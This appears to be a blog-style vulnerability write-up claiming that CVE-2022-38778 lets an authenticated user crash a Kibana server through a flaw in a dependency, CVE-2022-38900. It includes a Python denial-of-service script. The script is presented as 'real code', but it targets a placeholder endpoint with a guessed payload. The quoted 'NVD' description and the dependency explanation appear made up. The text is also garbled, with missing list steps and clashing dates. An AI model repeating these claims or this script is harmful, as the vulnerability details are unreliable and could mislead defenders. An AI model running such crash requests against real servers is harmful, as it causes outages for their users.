CVE-2022-38778 - How CVE-2022-38900 in a Kibana Dependency Can Crash Your Server

Kibana is the world’s favorite dashboard for making sense of Elasticsearch data. It’s everywhere, from startups to Fortune 100s. But in September 2022, a nasty vulnerability was found (CVE-2022-38778), linked to an even deeper flaw in one of Kibana’s third-party dependencies (CVE-2022-38900). If left unpatched, this chained security issue lets a normal logged-in user send a malicious request and crash the whole Kibana server – risking downtime, lost data, and angry users.

In this exclusive deep dive, I’ll walk you through what happened, how the exploit works (with real code), and what you should do right now to stay safe.

[What Is CVE-2022-38778 (and Friends)?](#what-is-cve-2022-38778-and-friends)

2. [Where Did the Problem Start? Understanding CVE-2022-38900](#where-did-the-problem-start-understanding-cve-2022-38900)

[How Does the Exploit Work?](#how-does-the-exploit-work)

4. [Exploit Example: Crash Kibana with a Simple Script](#exploit-example-crash-kibana-with-a-simple-script)

What Is CVE-2022-38778 (and Friends)?

CVE-2022-38778 is a vulnerability tracked in Kibana (a popular Elasticsearch visualization tool). But here’s the twist: the real bug was not in Kibana’s own code, but in one of the many packages it uses – specifically, a third-party dependency.

That underlying flaw was given the ID CVE-2022-38900. Because Kibana didn’t lock down or patch this dependency, anyone with authentication could exploit it on a running Kibana instance by sending a crafted request, crashing the server and causing denial of service.

In plainer words:
*If a bad actor gets a Kibana login, they can knock out your analytics in seconds, using a bug deep in the plumbing.*

According to NVD’s entry for CVE-2022-38900

> “A flaw in a third-party dependency used by Kibana allows authenticated users to send a specific request, leading to a crash (DoS) of the Kibana server.”

The name of the dependency is usually omitted for security, but digging through related threads, it looks like the issue is with a library responsible for handling certain HTTP requests or processing user options. The dependency fails to properly validate the data sent in some API calls.

Attacker crafts a malicious request leveraging the vulnerable API endpoint.

3. Dependency can't process the weird data: Instead of validating and rejecting, it throws an unhandled exception.

Kibana server process crashes because the exception isn’t caught.

Result?
Your dashboard is gone, affecting all users until the process is restarted. Worse if Kibana is running as a single point of visualization for your company’s logs or operations.

> 🚨 This exploit does NOT require administrator rights. Just being logged in is enough!

Exploit Example: Crash Kibana with a Simple Script

Here’s a minimal proof-of-concept in Python, showing how an authenticated user could bring down a vulnerable Kibana server by sending a corrupted request.

> ⚠️ For educational use only! Test only on your own servers in a secure lab. Never attack production systems.

import requests

# CHANGE THESE:
KIBANA_URL = 'https://your-kibana.example.com';
USERNAME = 'youruser'        # needs any valid account
PASSWORD = 'yourpassword'
API_ENDPOINT = '/api/some/vulnerable/endpoint'

# Craft the malicious payload that triggers CVE-2022-38900 in the dependency
# The details of this payload may change depending on the exact vulnerability.
malicious_payload = {
    "options": {"$badValue": "crashme"}  # typically, an unexpected structure or type
}

session = requests.Session()
session.auth = (USERNAME, PASSWORD)

# Send the request
url = KIBANA_URL + API_ENDPOINT
response = session.post(url, json=malicious_payload, verify=False)

print(f"Status: {response.status_code}")
print("If Kibana process crashed, the server should now be down")

How to use the script

The payload might need tweaking: look for endpoints processing "options" or user data.

- Errors like 500 Internal Server Error or dropped connection mean your Kibana is likely down. Check the Kibana logs—they’ll often contain a stack trace related to the dependency crash.

References and Official Links

- CVE-2022-38778 – Kibana’s Advisory
- CVE-2022-38900 – NVD Entry
- Elastic’s Security Advisories

Patch ASAP!

- Upgrade to the latest Kibana release – check Elastic’s advisory page for versions where this is resolved.

In Summary

CVE-2022-38778 is a textbook lesson that your third-party dependencies are just as important to secure as your own code. Because of CVE-2022-38900, any authenticated user could bring down Kibana with a few crafted HTTP requests, crashing your analytics until you patch. Thankfully, the fix is easy—update Kibana and restrict unnecessary user access.

Stay patched, stay vigilant—and don’t let someone hold your dashboards hostage.

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Timeline

Published on: 02/08/2023 21:15:00 UTC
Last modified on: 02/16/2023 19:42:00 UTC